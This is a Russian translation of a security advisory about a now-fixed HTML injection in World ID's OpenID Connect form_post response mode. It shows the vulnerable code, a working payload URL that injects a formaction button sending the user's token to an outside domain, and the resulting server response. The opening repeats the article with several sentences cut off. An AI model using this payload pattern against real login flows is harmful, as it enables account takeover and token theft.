Источник: https://security.lauritz-holtmann.de/advisories/tfh-form_post-xss-ato/
Перевод: BLUA специально для xss.pro
Недавно Tools for Humanity объединились с немецким клубом HackerOne, чтобы провести недельную виртуальную и очную встречу хакеров. В ходе встречи была обнаружена критическая уязвимость в реализации функции "Вход с World ID", которая затрагивала режим ответа form_post OpenID Connect и могла позволить злоумышленникам захватить учетные записи конечных пользователей в сторонних приложениях, использующих механизм "Вход с World ID". Уязвимость была устранена в течение нескольких часов после её выявления.
Функция "Вход с World ID" от Tools for Humanity реализует протокол OpenID Connect. Она поддерживает несколько режимов ответа, таких как
Вот как выглядела "точка погружения" XSS с точки зрения пользовательского агента:
Точка погружения была обнаружена с помощью метода "черного ящика"; было тривиально просто выйти за пределы атрибута
Эксплуатация: Обход WAF и CSP
Таким образом, простые XSS-пейлоады не сработали для раскрытия чувствительного кода (в типе ответа
Это ограничение можно обойти, перехватив HTML-форму, которая уже используется для режима ответа
Это позволяет нам построить следующую цепочку атаки.
1. Как жертва, перейдите по следующей ссылке:
2. Отсканируйте QR-код и подтвердите действие через World App
3. В рамках сессии браузера (см. шаг 1) происходит перенаправление на следующую HTML-форму:
4. Нажмите на вставленную кнопку:
5. Наблюдайте за POST-запросом к моему домену, включающим токен конечного пользователя:
Impact
Описанная уязвимость потенциально позволяла злоумышленникам получать чувствительные OIDC-токены, которые дают им возможность захватывать учетные записи конечных пользователей на сторонних сервисах, использующих механизм «Войти с World ID».
Перевод: BLUA специально для xss.pro
Недавно Tools for Humanity объединились с немецким клубом HackerOne, чтобы провести недельную виртуальную и очную встречу хакеров. В ходе встречи была обнаружена критическая уязвимость в реализации функции "Вход с World ID", которая затрагивала режим ответа form_post OpenID Connect и могла позволить злоумышленникам захватить учетные записи конечных пользователей в сторонних приложениях, использующих механизм "Вход с World ID". Уязвимость была устранена в течение нескольких часов после её выявления.
Функция "Вход с World ID" от Tools for Humanity реализует протокол OpenID Connect. Она поддерживает несколько режимов ответа, таких как
query(запрос), fragment(фрагмент) и form_post(отправка формы).response_mode
Определяет, как будут возвращены код авторизации,ID tokenи/или токен доступа. Должно быть одно из следующих значений:query(запрос),fragment(фрагмент) илиform_post(отправка формы).queryподдерживается только для потока кода авторизации. По умолчанию используетсяqueryдля потока кода авторизации иfragmentдля всех остальных.
response_mode=form_post недостаточно кодировал и/или фильтровал параметр state, что привело к уязвимости межсайтового скриптинга (XSS), которая была заблокирована политикой безопасности контента (CSP). Однако, путем внедрения HTML без JavaScript, все еще было возможно обойти CSP и напрямую раскрыть значения токенов конечного пользователя произвольных приложений на контролируемый злоумышленником ресурс.Вот как выглядела "точка погружения" XSS с точки зрения пользовательского агента:
Код:
<!DOCTYPE html>
<html>
[...]
</head>
<body onload="submitForm()">
<form id="formRedirect" method="post" action="https://docs.worldcoin.org/try-callback">
<input type="hidden" name="token" value="eyJhbGciOiJS[...]" />,<input type="hidden" name="state" value="PAYLOAD" />
<[...]
</form>
</body>
</html>
Точка погружения была обнаружена с помощью метода "черного ящика"; было тривиально просто выйти за пределы атрибута
value. Это было вызвано следующим фрагментом кода:
Код:
[...]
} else if (parsedParams.response_mode === OIDCResponseMode.FormPost) {
const formHtml = `
<!DOCTYPE html>
<html>
<head>
<script>
function submitForm() {
document.getElementById("formRedirect").submit();
}
</script>
</head>
<body onload="submitForm()">
<form id="formRedirect" method="post" action="${url}">
${Array.from(result.url_params.entries()).map(
([key, value]) =>
`<input type="hidden" name="${key}" value="${value}" />`
)}
<noscript>
<button type="submit">Submit</button>
</noscript>
</form>
</body>
</html>
`;
return new NextResponse(formHtml, {
headers: { "Content-Type": "text/html; charset=utf-8" },
});
}
[...]
Эксплуатация: Обход WAF и CSP
Пораженная конечная точка имеет достаточно строгую политику CSP и дополнительно защищена с помощью межсетевого экрана веб-приложений (WAF).
Таким образом, простые XSS-пейлоады не сработали для раскрытия чувствительного кода (в типе ответа
authorization_code) или id_token/access_token (в типе ответа token или id_token).Это ограничение можно обойти, перехватив HTML-форму, которая уже используется для режима ответа
form_post, путем внедрения кнопки с атрибутом formaction, который перезаписывает легитимное действие HTML-формы:formaction
URL, который обрабатывает информацию, отправленную кнопкой. Перезаписывает атрибутactionвладельца формы кнопки. Ничего не делает, если владельца формы нет.
![]()
<button>: The Button element - HTML: HyperText Markup Language | MDN
The <button> HTML element is an interactive element activated by a user with a mouse, keyboard, finger, voice command, or other assistive technology. Once activated, it then performs an action, such as submitting a form or opening a dialog.developer.mozilla.org
Это позволяет нам построить следующую цепочку атаки.
1. Как жертва, перейдите по следующей ссылке:
https://id.worldcoin.org/login?client_id=app_8ad4dd04557f8b768243904bf76d8db0&response_type=token&redirect_uri=https://lhq.at&scope=openid&state=)"><input+type=submit+value=Click!+formaction=//lauritz-holtmann.de>&nonce=test6&ready=test&response_mode=form_post2. Отсканируйте QR-код и подтвердите действие через World App
3. В рамках сессии браузера (см. шаг 1) происходит перенаправление на следующую HTML-форму:
Код:
HTTP/2 200 OK
Date: Wed, 22 May 2024 14:35:21 GMT
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-be795666-8d17-4054-bb9a-1309578933a5' 'strict-dynamic'; font-src 'self' https://world-id-assets.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; connect-src 'self' https://app.posthog.com https://docs.worldcoin.org https://status.worldcoin.org https://bridge.worldcoin.org https://developer.worldcoin.org; img-src 'self' https://worldcoin.org https://world-id-assets.com
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
<!DOCTYPE html>
<html>
<head>
<script>
function submitForm() {
document.getElementById("formRedirect").submit();
}
</script>
</head>
<body onload="submitForm()">
<form id="formRedirect" method="post" action="https://docs.worldcoin.org/try-callback">
<input type="hidden" name="token" value="eyJhbGciOiJS[...]" />,
<input type="hidden" name="state" value=""><input type=submit value=Click! formaction=//lauritz-holtmann.de>" />
<noscript>
<button type="submit">Submit</button>
</noscript>
</form>
</body>
</html>
5. Наблюдайте за POST-запросом к моему домену, включающим токен конечного пользователя:
Impact
Описанная уязвимость потенциально позволяла злоумышленникам получать чувствительные OIDC-токены, которые дают им возможность захватывать учетные записи конечных пользователей на сторонних сервисах, использующих механизм «Войти с World ID».